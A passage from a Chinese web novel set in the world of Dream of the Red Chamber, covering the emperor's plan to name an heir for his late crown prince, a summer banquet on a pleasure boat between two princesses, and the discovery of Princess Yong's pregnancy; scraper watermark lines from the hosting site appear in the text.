如今看到这些折子,他才恍然想起,原来,都已经过去这么久了!但是,他想的不是其他那些儿子,而是自己心爱的太子,一时间又生出了许多懊恼之意,心中还要抱怨儿子不孝,你老老实实地被朕打压个几年,回头等朕不在了,这皇位自然是你的,你怎么就忍不了呢?但是人既然已经死了,还死得比较惨烈,圣上顿时就愈发怀念起来,当下便准备旧事重提。 当年圣上便要追封那位为义忠亲王,不过是被群臣给否了,原本想着等新君登基,再追封一次,但是如今圣上就忍不了了,当下下诏,表 示要将义忠郡王加封为义忠亲王。 这回虽说依旧还有反对之声,但是已经不多了,一方面是胳膊拧不过大腿,另一方面就是,这两年朝堂上的人虽说没到又换一轮的地步,但是也有不少老臣因为各种原因乞骸骨,致仕回乡,新上来的这些人暂时还没什么底气跟圣上对着干,最终这份诏书还是在朝堂上通过了。 圣上如果说对义忠亲王的爱子之心有60,那么其他儿子加起来也不会超过30。他心疼自己的嫡子,又想到义忠亲王决绝地焚毁了东宫,以至于东宫一众妻妾儿女都跟着他一起化作了飞灰。想到心爱的嫡子绝嗣,他就愈发心疼起来,便琢磨着,想要给义忠亲王过继一个嗣子。 这个意思一流露出来,顿时把所有人都吓坏了! 你这是过继嗣子吗?你这是唯恐天下不乱啊! 圣上虽说没有给义忠亲王平反,但是,就看圣上这架势,就知道这事只怕是迟早的事情,到时候,所有的错都是别人的,义忠亲王在圣上心里就是白莲花一样一尘不染。那么,如果过继了嗣子,圣上会不会爱屋及乌,琢磨着立个什么皇太孙呢?就算圣上在世的时候不立什么皇太孙,但是等到新君登基,这位义忠亲王的嗣子势必会遭受严重的打压,他若是不愿意忍,再有人想要左右逢源乃至谋朝篡位,到时候不乱起来才怪! 如此一来,一个郡王的名头,不光是没有吸引力,反而充满了麻烦。反正有可能被选上的宗室,都紧张了起来。 相比较而言,更紧张的就是甄贵妃和瑜妃了,他们的儿子是很有希望做太子的,若是冒出个义忠亲王嗣子,再是个什么能说会道,能勾起圣上那一腔爱子之情的,那自家儿子岂不是要多一个竞争对手? 这两人在宫里一向是死对头,甄贵妃又宠爱,有位份,瑜妃呢,背景深厚,谁也不怵谁,如今却是默契地开始联手,想要打消圣上的这个主意。 这种事情,即便是甄贵妃,也不敢吹这个耳旁风。甄贵妃再受宠,也不觉得自己能比得上元后。活人往往是比不上死人的。甄贵妃能得宠,一方面是她能放下身段,撒娇弄痴,另一方面也是她有意模仿元后的一些举动,可以说,她在圣上那里,某种意义上就是元后的一个替身。她要是冒出来说什么给义忠亲王选嗣子要从长计议的话,再多的宠爱也不够使! 甄贵妃干脆花了大价钱,找了个只在朝堂上挂了个名,很久都已经不上朝的老臣,而瑜妃呢,则是借助于西宁郡王府的人脉,找到了几个宗室里的老人。 这些人都是喜欢稳定,还怕出现动荡的。之前那一场宫变,不知道流了多少血,如今还有许多人心有余悸,要是再来这么一次,谁受得了。 这等老臣也没上来就搞什么死谏,而是跟圣上拉起了家常,说一些儿女之事。 等着气氛上来了,才说道:“老臣这个年纪,半只脚都已经迈进棺材了,却依旧不好真的像圣人说的那样从心所欲。别的不说,这人心啊,其实都是偏的,这么多孩子,有的就是更加讨喜一点!” 圣上对此深以为然,说什么一视同仁??[,那根本就是不可能的事情,什么样的端水大师才能真的一碗水端平啊!像是圣上就是这样,年轻的时候,喜欢年长的几个孩子,虽说太子更得宠,其他几个儿子也还是得了几分看重的。只是这些儿子个个都是狼,伤透了他的心。 这位老臣叹道:“这儿女都是债,臣家里头,大儿子是嫡长子,注定继承家业的。次子也还算出息,三十多岁就中了进士,如今在外做官也做得不坏。小儿子因为是老来有子,娇惯得厉害,都这个年纪了,还文不成武不就的,老臣拿他也没办法,就想着如今我们老两口还活着,还能多照应着点,若是我们老两口走了,那可怎么办呢!家里老妻还想着,多补贴一下小儿子,可这事不能这么办,真要是多给了小儿子,回头叫上头两个知道了,如今不说什么,以后哪里还能指望他们再拉小儿子一把,只怕回头一分家,就只当一般亲戚相处!倒不如做得公平一些,之后叫上头两个稍微关照一下小的,他们也能乐意!” 话都说到这个份上了,大家都是老狐狸,圣上自然也明白这个老臣的言外之意,不由叹道:“爱卿也是为了义忠亲王选嗣子的事情来的吧?” 那老臣点了点头,说道:“圣上素来英明,老臣也是多嘴了!” 圣上叹了口气,说道:“朕也知道,只是朕那么多儿子,唯有义忠亲王是朕一手抚养长大,朕真是半点不愿意让他受了委屈!” 老臣说道:“大凡父母之心,皆是如此,圣上之心,也是一般!” 圣上顿觉有些索然寡味,挥了挥手,说道:“朕知道爱卿的心意了,朕有些倦了,爱卿也回去吧!” “老臣告退!”这位也不想再跟圣上多说,谁知道会不会不小心就触碰了圣上的哪根筋,到时候雷霆一怒,自己这把老骨头可撑不住。 没两日,庆王和宗室的另一个老亲王仪王也跑过来了,他们言语就直白多了,直接表示,圣上您要是想要给义忠亲王挑嗣子,直接跟您几个儿子商量去,不要找咱们这些宗室的麻烦。 宗室已经很苦逼了,爵位都不如那些民爵传承得久,手里也没什么实权,就靠着那点爵产和自家的经营过日子,孩子稍微多一点,说不定就要勒紧裤腰带。现在圣上你再将宗室拉到夺嫡之争中,难道是嫌咱们宗室人还是太多了吗? 这两位王爷,都是圣上的长辈,圣上再如何,也不好跟他们多计较。见两人说得明白,大家日子过得好好的,并不想为了一个郡王的爵位,就掺和到皇家的夺嫡之中,圣上你要是想要给义忠亲王挑嗣子,你就从有意夺嫡的儿子孙子里头挑,其他人,你还是放过他们吧! 圣上也没想到,对大家来说,这个爵位就是个裹着毒药的糖果,问题是,毒药还比较明显,糖衣还没舔完呢,毒药就先咽下去了,这就是个天坑,有点远见的人都是不乐意去踩的! 圣上也有些丧气,不过还是许诺,嗣子的事情,暂时不说,等以后新君登基,再行考虑。 庆王和仪王都松了口气 ,他们也算是历经几个帝王了,折腾的也见识过,但是圣上这类型的,还真是没见过。要说昏聩吧,也不算,要说英明神武吧,孩子的事情搞得一团糟。义忠亲王当年已经算是个不错的继承人了,偏偏各种挑剔打压,原本按照道理,封王之后就该老老实实当做闲散宗室一样处理的几个皇子被他赋予了相当一部分权力,直接导致大家都觉得自己也有机会染指那个位置,以至于酿成了后来的苦果。结果圣上居然像是没有接受教训一样,还在折腾!你都多大年纪了,看起来也不像是那种一门心思求长生,压根不想考虑继承人的昏君,但是,你也该服老,早点确定一下储君,好叫大家能够安心!总不能之后再搞出一场宫变吧! 圣上给义忠亲王挑选嗣子的事情偃旗息鼓,京中气氛重新变得放松下来。 对于雍王府来说,原本早就预定好的那场邀约总算可以提上日程,只是,时间过去了大半个月,虽说还没到盛夏,却也已经颇为炎热,雍王妃琢磨了一番,干脆在花园湖内的一座画舫上设宴,府里正好还养了个戏班子,叫她们隔着水演奏助兴便是。 孙嬷嬷亲自将帖子送到了平王府,顾晓一看,便是笑道:“倒是劳烦四嫂费心,还请嬷嬷转告四嫂,我定当如约到访!” 雍王妃下帖子,主要请的就是顾晓和一群孩子,连李氏这个侧太妃都没请,更别提下头那几个太姨娘了。 李氏对于作客这种事情也不感兴趣,主要是她曾经趁着原身卧病,跟着徒宏远出席过一次宴席,那一次真的是丢了许多脸面,人家虽说不会当面冷嘲热讽,但是席上将她视若无物,那种高高在上的感觉,叫她难受了很长时间。 因着这事之后,李氏几乎不再出门交际,那没事没事给自己找不自在嘛!上次对她实施了冷暴力的就有雍王妃,李氏就更不想面对这一位了。 既然没有邀请李氏,那雍王府那边,周侧妃那天也只能老老实实待在自个院子里,她倒是没什么想法,她如今就是想要有个儿子,好给自己一个依靠,其他的事情,都可以靠边站。 要不是雍王妃邀约,这么热的天,顾晓是真不想出门。两个王府虽说是邻居,但其实也相隔了相当长一段距离,毕竟,这年头别说是王府了,就算是寻常大户,宅子占个几亩地也是正常操作。荣宁二府尚且能占大半条荣宁街,像是这边,整条街都被两座王府给占了。 下人们往来可以走着去,哪怕不考虑男女之防,主子们出门也得骑马乘车坐轿,要不然,就失了体面。 雍王府的马车里面,已经安装上了一个小型的轮扇,这种轮扇不需要花费太大的力气,只要随行的丫头坐在里头拉绳,就可以牵动轮扇不断转动,再往车厢里放一个小型的冰鉴,就凉快多了。可入了平王府的侧门,换乘的马车就只有冰鉴,一进去顿时就叫人觉得有些湿热,好在不用多久,就到了二门,雍王妃已经带着人在门口等候。 顾晓下了车,忙说道:“怎么还叫嫂子在门口等我,实在是太客气了!” 雍王妃笑道:“弟 妹是客,哪能失礼呢!” 妯娌两个互相见了礼,下面几个孩子也各自行了礼,很快就凑成了一团。雍王妃见状,笑道:也别在日头底下晒着了,咱们啊,先进去说话! ?想看微云烟波的《红楼太妃要躺平》吗?请记住[]的域名[( 雍王也就是这两年,为了向圣上表明自己毫无夺嫡之心,才开始奢华起来,王府并未有什么大动,但是也能看出来,这位是个有几分雅趣的人物。 这会儿雍王妃瞧着日头已经高了起来,便直接领着一行人进了花园水边,这里建着一处小码头,一边立着一块石头,上头镌刻着几个字,写作“杏花坞”。 顾晓一转头,果然见到两岸除了杨柳之外,还种植着不少杏树,这会儿杏子已经成熟,一个个或橙或黄的果子,点缀在繁茂的树叶之中,隐约还能闻到一点果香。 雍王妃见顾晓眼神,便解释道:“这些杏树杏花好看,结的杏子却是中看不中吃,好在还有些香气,因此便叫留在树上,也算是给院子里添上几分景致罢了!” 顾晓笑道:“嫂子清雅,不像弟妹我,那就是个俗人!” 雍王妃自嘲道:“什么清雅不清雅的,我也是个俗人,不过,这里是我们王爷做的主,要以我,还是种些能吃的果子实惠!”以前雍王花钱不多没感觉,这两年雍王花钱如流水,王府那叫一个入不敷出,要是这些杏子能吃,还能增加一个进项,光是好看好闻,有什么用呢,平白招惹鸟虫,给花园里这些花匠仆妇增加麻烦。 说话间,一行人便从码头上了画舫,几个船娘解了缆绳,撑着船顺流而下,渐渐行入一片荷花丛中。! 第 76 章 此时已有不少荷花开始盛放,水里还有许多鸳鸯,绿头鸭,天鹅和一些其他水鸟在里头游来游去,甚至还有几只白鹭不知道从什么地方冒出来,细伶伶的长腿在浅水滩里踱着步,寻找着食物。 平王府一帮孩子对这些水鸟倒也不算稀罕,两府一墙之隔,连水源都是通的,自然水鸟的品种也差不多,大家都是见过的。只是平王府只是沿水修建了几处亭台,只有几艘小船,也是给花园那些花匠仆妇清理水里的水草之类,他们可没机会跑到水上玩耍,这会儿坐在画舫上,已经有些不安分起来。 末儿看到窗外的荷花还有一些嫩绿的莲蓬,就想要伸手去够,但哪里能够得着,顿时记得叫唤起来,拉着徒嘉钰就要他去帮忙。 徒嘉钰一看,笑道:“你要摘,那得到船头船尾才行,这边隔着窗子,到哪里摘去!” 末儿一听,立马就往外跑,徒嘉泽是个鸡贼的,立马就跟了上去,雍王府几个孩子之前也没什么机会跑到水上来玩,这会儿也跟着要往外跑! 雍王妃只看得哭笑不得,顾晓也有些尴尬:“末儿在家我们素来也不怎么拘着,实在是有些顽皮!” 雍王妃摇了摇头,说道:“孩子们其实都这样,我如今也有些后悔,当年把珩儿拘得有点紧了!现在再想要如同之前一般,已经是不能够了!” 说着,她直接吩咐人传话,叫人专门划几艘小艇过来,让孩子们到小艇上去摘荷花荷叶和莲蓬,这下,连徒嘉珩和徒嘉钰都有些心动起来。 雍王妃笑道:“你们要去,便过去吧!记得叫人撑好伞,别被晒着了!”两个人一听,立马起身道别,利索地往外跑去。 “刚刚来的路上一个劲喊热,这会儿要出去玩了,一个个倒是不觉得热了!”一帮孩子一跑,画舫里坐着的就只剩下妯娌二人,顾晓不免念叨了两句。这画舫上倒并不叫人觉得热,本身就在水上,凉风习习,中间又放了好几个玉盘,里面放着雕成冰山模样的冰块,微风吹过,便是一派清凉。 雍王妃笑着拈了一枚镇在碎冰里的蜜渍青梅,小口吃了,说道:“可不就是如此,等一会儿回来,定然又要喊热了!” 顾晓如今也不怎么敢吃凉的,只是端了一碗还有些温热的香薷饮喝了两口,然后便放了下来,笑道:“早知道他们喜欢,我们府里也该造条船的,平常就一些小船,他们也不知道在哪里!” 雍王妃笑道:“你们府上要是工匠不擅长这个,我们府上的可以借给你们!这画舫也是前年的时候,王爷叫人做的,专门从外面找了好些个工匠进府,可费了不少力气!”像是小艇也就罢了,这等规模的画舫放在城里是没法从外头买的,不方便运输。总不能为了这个,将沿途的各家府邸的宅子围墙给拆掉,让画舫顺着水道运进来。所以,大户人家想要在府里用船,多半就是自家找个临水的僻静地方,建个小船坞,叫工匠直接在船坞那里建造。 顾晓自然不会拒绝,忙说道:“那到时候可就占嫂子便宜了! ” “这劳烦什么!”雍王妃笑道,“留着这些工匠在府里,做那些小活计,也是白糟蹋了他们的手艺!” 顾晓一听也是一笑:“嫂子这话说的,哪有什么糟蹋手艺的说法!” 雍王妃抿了抿嘴,笑道:“你啊,是不知道,我巴不得将这些匠人送出去呢!自从府里匠人多了,我们王爷,就成天惦记着要造这造那,就没个消停的时候,我这边都烦了,弟妹既然要用,那赶紧带走,也让我能轻松一阵子!” 雍王妃这话半真半假,老实说,这两年雍王委实折腾得有点厉害,你就算是想要表现出自己没有野心,但也不要尽可着家里的钱糟践啊!你干点别的啥事不行,非得玩各种烧钱的! 不过今年的时候,雍王就没那么紧绷了,他现在表现出来的就是偏宠爱妾,沉迷女色,最多就是叫戏班子给排一些小戏。戏班子的开支主要来源是各种行头。但是这行头之前就置办得差不多了,就算再添,也不用花费多少,如今开支就小多了。 只是,为了防止雍王再有什么费钱的想法,雍王妃琢磨着,还是先将那批手艺精湛的工匠借出去再说,好歹能省不少事情。 顾晓也不知道雍王妃说的是真是假,不过人家话都说到这份上了,再拒绝就有些不礼貌,因此便笑道:“那就多谢嫂子了,回头若是府里有用,务必跟我说一声!” 雍王妃笑吟吟地答应下来,妯娌两个磨了一会儿牙,那边顺着风便传来了阵阵唱戏的声音。 雍王府的戏班子是专门从姑苏采买的戏子,连同教习也是从那里聘请的,学的自然是标准的昆曲,这会儿唱的就是《邯郸记》里的《三醉》一出。 原身听过的戏也不少,这年头,闺阁女儿能够接触到的娱乐活动里,最让人能够联想到外面世界,甚至是浮想联翩的就是各种戏曲了,她们之所以偷看《西厢记》、《牡丹亭》之类的话本子,也都是因为这些戏曲的启蒙。 也是奇怪,各家对家里孩子看那些话本子都严防死守,却根本不会阻止他们听戏。乡下有社戏,城镇上都有戏台子,很多人家自个养戏班子,小孩子从小就跟着大人听,大人听什么,他们就也跟着听什么,到了青春期的时候,多听几句什么“良辰美景奈何天,赏心乐事谁家院,则为你如花美眷,似水流年。”之类的戏词,哪有不春心萌动的道理。 这种还算是比较含蓄的,毕竟大户人家,听戏的时候,总得讲究一点格调,放到外头戏班子里,为了吸引观众,下三路的戏词也多的是,越是这种,越是叫人好奇。 雍王妃解释道:“这大夏天的,专门弄个戏台子,热闹是热闹了,难免叫人有些心浮气躁,我就叫她们隔着水,清唱几折,弟妹若是觉得听不清楚,就叫她们近一些!” 顾晓赶紧说道:“这样就很好,以前我也喜欢听戏,如今这般清清静静地听着,倒觉得更有些趣味!” 雍王妃笑道:“可不就是这样,逢年过节的,听个戏热闹热闹也无妨,平常的时候,还是清静一些好!” 顾晓问道:“我也是好几年没听过戏了,近来外头可有什么新鲜的本子?” 雍王妃摇了摇头,说道:“这戏班子都是王爷叫人管着,我也只管听就是了,倒是去年的时候,因着那件事,排了一出《含冤记》,之后便也没听说有别的了!弟妹若是也想听个戏什么的,不如叫人去外头打听了,看看外头的戏班子有没有排什么新戏!” 顾晓压低了声音,悄悄说道:“嫂子也高看我了,我哪是有那闲心经常听戏的人,家里光是几个孩子就足够闹腾了,我就是自个看几出话本子!” 雍王妃顿时了然,她闺阁里头也是悄悄看过的,无非就是如今比较忙,没空看,不免一笑:“那弟妹可就问错人了,与其问我,还不如叫人在外头书坊打听着些呢!我听说外头多有一些文人,专门给书坊供稿的,不光是些戏本子,还有各种话本传奇!” 顾晓有些苦恼地说道:“那些多是什么才子佳人的戏码,看几本觉得还行,看多了,就觉得无趣!哪来那么多千金小姐,就因为见了男人一面,就芳心暗许,私定终身的戏码,这未免也将咱们闺阁女儿看得忒低了些!而如《西游》那样的神魔传奇,又只有一本《封神演义》尚有几分可看之处,其他那些,连唐传奇都有些不如,实在无趣!” 雍王妃见顾晓这般情态,又是好笑,又是羡慕。也唯有顾晓这般,如今啥也不用多费心的人,才有心思研究什么话本戏本,如今居然还挑剔起来了,雍王妃不由促狭道:“你要是不喜欢看别人写的,不如自己写一本,到时候可得先给嫂子看看!” 顾晓连忙摇头,说道:“嫂子又取笑我,我最是惫懒不过的人,叫我看可以,叫我写,那却是不能的!” 雍王妃便又给她出主意:“你自己不想写,也可以出个主意,到外头找人写,写了送进来给你看就是,你不满意的,就叫人改。他们外头写一本戏本子,能出名的也卖不了几两银子,你多给些银钱,不怕他们不愿意!” 顾晓眼睛一亮,好嘛,榜一大哥订制剧本,这个主意好,当下连连点头,说道:“嫂子说的是,回头我看着好,就给嫂子你这边送一份!” 雍王妃也不当真,笑道:“那我可就等着了!” 说话间,几个孩子已经摘了半船的东西,几个小的直接举着大荷叶当做阳伞,另一只手或拿莲蓬,或拿莲花,踩着踏板爬上画舫,乐滋滋地跑进来跟雍王妃和顾晓炫耀。 末儿直接扑进顾晓怀里,将手里的莲蓬塞进顾晓手里:“妈妈,这是给你的!” 顾晓大乐,笑道:“好,那妈妈可就多谢末儿了!” 末儿这会儿额头上已经是汗津津的,连里面衣服都已经汗湿了,其他孩子也都差不多,雍王妃忙叫人支起了屏风,叫几个奶娘丫头带着孩子到屏风后面擦汗,再换上干净的衣服。 这年头就是这样,出个门,别说是孩子,大人都得随身携带好几身更换的衣服,一天不更几次衣,都会叫人觉得不礼貌。 等着孩子们换了衣 服,干干净净地重新出现,桌案上已经多出了几碟刚刚剥好的莲子,都去了皮和莲心,白生生摆在琉璃荷叶盘上,分外诱人。 末儿是一点也不拿自己当外人,还兴冲冲地说道:“四伯母,能不能给我们炸点荷花吃!” 雍王妃笑道:好,一会儿就叫她们送上来!?” 然后又看向了顾晓,指着她笑道:“看你儿子就知道了,你也是个嘴刁的,快跟我说说看,这荷花还能做什么菜?” 顾晓笑道:“我不比嫂子劳心,每日里也就是琢磨这些了!我们府里前阵子荷花也开了,给几个孩子折腾了一场,这才叫他们给记下了!”说着,便跟雍王妃说了几道以荷花或是荷叶入菜的菜谱,或蒸或炸,嫩荷叶也能做汤,无非就是借一点荷叶的清香。 “其实最好吃的还是藕,现在起出来的还是藕带和嫩藕,生吃就很脆甜,等到了深秋,清淤的时候就能将藕起出来,或炒或炸或炖汤,都是极好的。倒是做藕粉的话,咱们这边的藕粉比起南边的还是差了一些!”顾晓笑道。 雍王妃也是笑:“可见你是个会吃的,我们府里这荷花都种了多少年了,也没人想过拿来吃,如今开了这个头,以后只怕就保不住了!” 顾晓忙说道:“这老藕清一清,又不影响来年再长,真要是一直留着不动,也是白白糟践了!” 雍王妃笑道:“又不是说你别的,倒是赞你会过日子呢,你这么着急做什么!” 不多久,便有丫头们提着食盒,坐着小船过来了,食盒里头果然有不少用荷花荷叶做的菜,还有一道荷叶丸子汤,丸子里还加了一些藕泥,吃起来立马清脆爽口了许多。 这边厨子也颇有几分巧思,炸荷花就做了几种口味,一种就是简单的酥炸荷花,一种是裹了豆沙再油炸,还有一种竟是裹了肉馅炸的,摆盘也摆得精美,做成荷花或者是荷塘模样,几个孩子这会儿也饿了,吃得颇为香甜。 雍王妃胃口却不是很好,略吃了几口,然后便捧着半碗汤慢慢喝着,看着几个孩子吃得差不多了,便也将碗搁了下来,几个孩子跟着搁了筷子勺子。 几个丫头忙过来撤了桌上的饭菜,又捧了茶水过来给大家漱口,雍王妃便笑道:“这会儿日头大了,不如咱们去枕凉阁坐一坐吧!” “客随主便,今儿全凭嫂子做主!”顾晓也是说道。 枕凉阁就是一处水阁,一半就建在水上,船娘直接划着船过去,将踏板搭好,丫头们各自扶着搀着自己的主子便走了上去。 到了这边,唱戏的声音就愈发分明起来,看样子,戏班子唱戏的地方离得并不远,又听到丝竹管弦之声相和,几个孩子这会儿吃饱喝足,都凝神细听了起来。 水阁这边一面临水,一面又有几株大树,树荫掩映之下,自然又带来几分阴凉。 顾晓坐在窗边,看着窗外水色,听着丝竹之声,想了想,还是问道:“我看嫂子胃口不是很好,可是有些苦夏?”这话其实有些交浅言深,但是顾晓对雍王妃还是挺有好感 的,不由多问了一句。 雍王妃一愣,苦笑着摇了摇头,说道:差不多吧,这入夏之后,我人就有些倦怠,除了鲜果还能吃一点,其他都不太想吃,今儿个其实已经吃得不少了! ?微云烟波的作品《红楼太妃要躺平》最新章节由??全网首发更新,域名[( “可请了平安脉?”顾晓问道。 雍王妃说道:“半个月前吴太医来了一次,说是可能是苦夏,叫我饮食清淡一些便可!” 顾晓想了想,说道:“已经是半个月前的事情了,不如再请个太医上门诊一诊,这一直不思饮食,那可如何是好!” 雍王妃笑道:“我就是不太想吃,别的也就罢了,哪有什么问题?” 顾晓忙说道:“也未必是有什么症候,说不定是喜呢!” 这话一说,雍王妃便是一愣,她如今跟雍王之间说是老夫老妻,更像是合作对象,夫妻生活也很少,但也不是没有,这么一算,倒真有几分可能!想到这里,她忍不住摸了摸肚子。 见雍王妃神色,顾晓干脆趁热打铁:“嫂子,这择日不如撞日,今儿个正好请个太医来看看,也好放心!” 雍王妃还有些犹豫,一边孙嬷嬷忙劝道:“太妃娘娘说的是,娘娘身体要紧!”孙嬷嬷这般一称呼,两人都有些尴尬,之前孩子们之间称呼,都是按照亲戚关系来,称伯母,婶婶,这会儿孙嬷嬷一个叫太妃,一个直接叫娘娘,倒不像是妯娌,如同婆媳一般。 不过孙嬷嬷却也没有多想,她之前就叫雍王妃请太医再来看看,但是前阵子京中气氛凝重,雍王妃生怕惹了麻烦,又担心雍王认为自己小题大做,想着再过几日,如果还是这般再说,这会儿听到孙嬷嬷也跟着劝,还是有些为难:“今儿招待弟妹和几个侄子侄女呢,等晚间再说吧!” 顾晓笑道:“这会儿也不早了,已经是尽了兴,几个孩子也该回去午睡,我们也不多留了。咱们两府就隔着一堵墙,日后相聚的日子多着呢!等回头我就下帖,回请嫂子!” 雍王妃面带歉意:“今儿却是招待不周,弟妹见谅才是!” 顾晓忙说道:“哪里哪里,这要是还招待不周,以后我都不敢请客了!回头我那边府里请客,说不定还要借了嫂子府上的戏班子用一用呢!” 雍王妃爽快道:“弟妹说的这是什么话,一家子骨肉,说什么借不借的,弟妹要是用得上,直接叫人上门说一声便是!” 话已经说到这个地步,顾晓便带着几个孩子与雍王妃和他们府里的几个孩子道别,雍王妃还想再送,被顾晓给阻了:“嫂子尽管留步,早点回去歇着便是,就这几步路的功夫,我们一会儿就回去了!” 雍王妃还是叫孙嬷嬷和几个心腹丫头一起送平王府一行人出了门,瞧着平王府的马车进了自家侧门,这才回去报信。 雍王妃沉吟一番,便说道:“叫人拿了帖子,去太医院看看周太医今日当不当值,若是周太医在,就请他来一趟吧!若是周太医不在,再看看别人!” 平王府孤儿寡母今天过来做客,雍王便也一早避出去了,天热得很,他直接 就去了城外常去的寺庙里,找了个和尚一起说禅。周侧妃却是一直叫人注意正院那边的动静,听说竟是吃了午饭就散了,并未多留,便疑心席上可能出了什么事。 只是雍王妃那边篱笆扎得紧,周侧妃没打听清楚到底出了什么事,只是心中暗自猜测,却不敢说出来。 而正院那边,请太医的事情也是悄悄的。那个周太医是雍王妃之前用熟了的,雍王妃怀着徒嘉珩的时候便是他一直来请平安脉,上一次之所以请吴太医,也是因为那一日周太医恰巧跟人换了班,不当值,只得先请了他。 周太医这边提着药箱,从角门进了王府,一直入了正院,隔着帐子给雍王妃把了脉,只觉脉象往来流利,如珠走盘,毫无滞涩之感,又询问了一下雍王妃的月事情况,边上伺候的人都听出了其中的意味,连忙将话说了,周太医收回手,笑道:“恭喜娘娘,娘娘这是滑脉,乃是有喜了!” 孙嬷嬷简直是喜出望外,连忙说道:“我们娘娘二十天前还有些下红,可有什么妨碍?” 周太医笑道:“有的人的确刚刚有孕的时候,还有些月事,只要出血不多,却无什么妨碍!娘娘若是不放心,也可以先吃两服药安胎,之后若无其他症候,却不必再吃了!若是觉得胃口不好,倒是可以先吃一些酸香之物开胃!娘娘也是生产过一次的人了,当知再过一段时日,难免有些孕吐,到时候更是吃不下!” 雍王妃隔着帐子答应了下来,又吩咐孙嬷嬷给周太医拿第一等的赏封,然后又说道:“那我这一胎,就劳烦周太医费心了!” 做大夫的人,最喜欢的就是把到喜脉,没什么风险,报酬还丰厚。雍王妃既然已经有过一次产育,这一次风险只会更小,周太医自然是一口答应下来:“娘娘尽管放心便是,但凡有什么需要,尽管找微臣!” 正院这边喜气盈盈,但是还没满三个月,不好声张,大家只是暗自欢喜,雍王妃正想着等雍王回来,就先跟雍王说一声,哪知道,没多久竟听说,雍王从外头回来,竟是被周侧妃院子里的人截走了,原本喜气盈腮的雍王妃脸色立马淡了下来。! 第 77 章 周侧妃倒是没有想过自己取而代之,但是,她希望自己的儿子将来能够分到更多的家产,那么,她自然得跟雍王妃争一争。 雍王妃与雍王之间如今虽说不复新婚时候的亲密,但是雍王在很多事情上还是更信任这个妻子,他对周侧妃,更多的是那种类似于对小猫小狗的宠爱,他可以让周侧妃生一个孩子,却不会因为她颠覆府里的秩序。 周侧妃也知道这一点,所以她心中不甘,她明白自己就算是生了儿子,也不会取代徒嘉珩的位置,可是,她希望那是因为祖宗家法,她需要的是得到雍王更多的偏爱。府里没有嫡次子,她生的孩子就是仅次于徒嘉珩的,只要雍王愿意为她争取,那么,她的孩子怎么着都能封个镇国将军,再多分一些家产,以后日子也就好过了。 这会儿,她自觉抓住了雍王妃的把柄,便想要趁机在雍王那里上一点眼药。日积月累之下,雍王自然会觉得雍王妃不堪大用,加上徒嘉珩本身也不是什么非常机灵的孩子,到时候,自然有她出头的时候。 雍王听到周侧妃忧心忡忡地说今日平王府的人过来做客,但是吃了午饭就先离去了,不知道是不是王妃娘娘有什么不好云云。 雍王看着周侧妃的眼神变得奇异了起来,就像是看着自己养着的一只漂亮的狮子猫忽然开口说话了一样,他这个眼神让周侧妃一下子变得忐忑起来,原本还有一肚子的话要说,这会儿也说不出口,只得讷讷地看着雍王,期期艾艾不知道该说什么好。 雍王直接站起身来,说道:“你今儿个大概是中了暑气,人有些糊涂了,好生歇着吧!”说着,转身就走,浑然没有半点留恋。 周侧妃呆立在那里,整个人都僵住了,一旁伺候的丫头也不敢动弹,一直到雍王走了多远,才有丫头过去扶周侧妃:“娘娘,先歇一会儿吧!” 周侧妃这才回过神来,不知不觉,泪水都流了下来,她惶惑地问身边的丫头:“王爷是不是厌了我了,我真傻,我说那些做什么!”她魂不守舍地在丫头的搀扶下坐了下来,口里喃喃自语起来。 周侧妃的想法其实不能说是错,若是遇上的是徒宏远那样性子浅薄,本身又不怎么信得过嫡妻的,那眼药是一下一个准,但她却是看错了雍王。 雍王别看在一众兄弟中似乎不起眼,但是想想看,那场宫变,除了个残疾的简王被人忽视之外,竟只有雍王好端端地活了下来,连同跟着一起进宫的嫡长子都没有事,可见这位要么就是运道特别好,要么就是心思机敏。 这样的人,可以跟你玩风花雪月的游戏,但是你想要拿着感情来辖制他,那根本就是不可能的事情。他可以喜爱美色,但是美色与他,大概就是一块喜欢的玉石宝物,碎了之后会心疼一下下,但是之后日子该怎么过还是怎么做。但若是这个玉石宝物让他擦破了手,那么,也只能是弃之如敝履的下场。 周侧妃生得漂亮,原本也算是善解人意,跟着雍王的时间也比较早,以前还给雍王生下一个女儿,三姑娘虽 说夭折的时候还比较小,但也是比较乖巧可爱的年纪,如今没了,雍王自然怜惜爱妾,愿意给爱妾一个孩子作为补偿。 但这不是什么爱情,只要周侧妃触碰到了雍王的底线,那么雍王立马就能翻脸。 ?本作者微云烟波提醒您最全的《红楼太妃要躺平》尽在[],域名[( 雍王沉着脸出了周侧妃的院子,一边伺候他的太监裘世安窥觑着他的脸色,一边说道:“侧妃娘娘既然说了娘娘那边或许有事,王爷不如先去娘娘那边问问?” “狗奴才,要你多嘴!”雍王踹了裘世安一脚,裘世安装模作样地一个趔趄,还得打躬请罪,心中却是松了口气。许多时候,做奴才的就得想在主子前头,要不然的话,等主子想起来,就是奴才的不是。 雍王琢磨了一下,还是去了正院,结果一进门就看到里头一派喜气洋洋的景象,不由一愣。 一帮奴婢瞧着雍王进来,赶紧行礼,又开始往里面传话,雍王妃被两个丫鬟搀扶着从里间出来,雍王就愣住了,然后就听孙嬷嬷在一边笑着说道:“恭喜王爷,贺喜王爷,娘娘有喜啦!” 雍王这回是真的呆住了,瞧着雍王妃居然有些脸红,这才回过神来,连忙说道:“蠢材,还不扶你们娘娘坐下!”然后才看着雍王妃的肚子,问道:“真的有喜了,几个月了?” 雍王妃还是有些尴尬,这会儿只得说道:“哪有几个月,也就差不多一个半月多一点,所以之前吴太医没能把出来!” 雍王听了,顿时松了口气,又问道:“今儿个是请了哪个太医?可是有什么地方不舒服?” 雍王妃便说道:“请的是周太医,今儿个还真亏了隔壁七弟妹,她看我吃饭无甚胃口,我说是苦夏,她却说只怕是喜,硬要我请太医回来看看。弟妹怕扰了我歇息,吃了饭就带着孩子走了,我这边想着,弟妹话都说到这份上了,若不请个太医回来看看,岂不是拂了弟妹的好意,便叫人拿了帖子去太医院,正巧今儿个周太医当值,就请他过来了!周太医过来把了脉,又问了几句日常起居,才说是喜脉!” 雍王忍不住说道:“那今儿个倒是托了七弟妹的福气,回头可得好好谢她!”虽说觉得孩子多了,将来分家的话,不太够分,但是嫡出的孩子总是不一样的。 雍王妃抿嘴一笑,说道:“我正为难呢!这有孕的事情,按照规矩,不满三个月,不好跟外头说,我这边正发愁怎么跟弟妹说呢!” “你也是糊涂了!”雍王笑道,“都是七弟妹那边先提醒了你,跟她说一声又如何!直接叫人备份谢礼送过去,提上一嘴便是!” 雍王妃也是一笑:“王爷说的是,却是我糊涂了!” 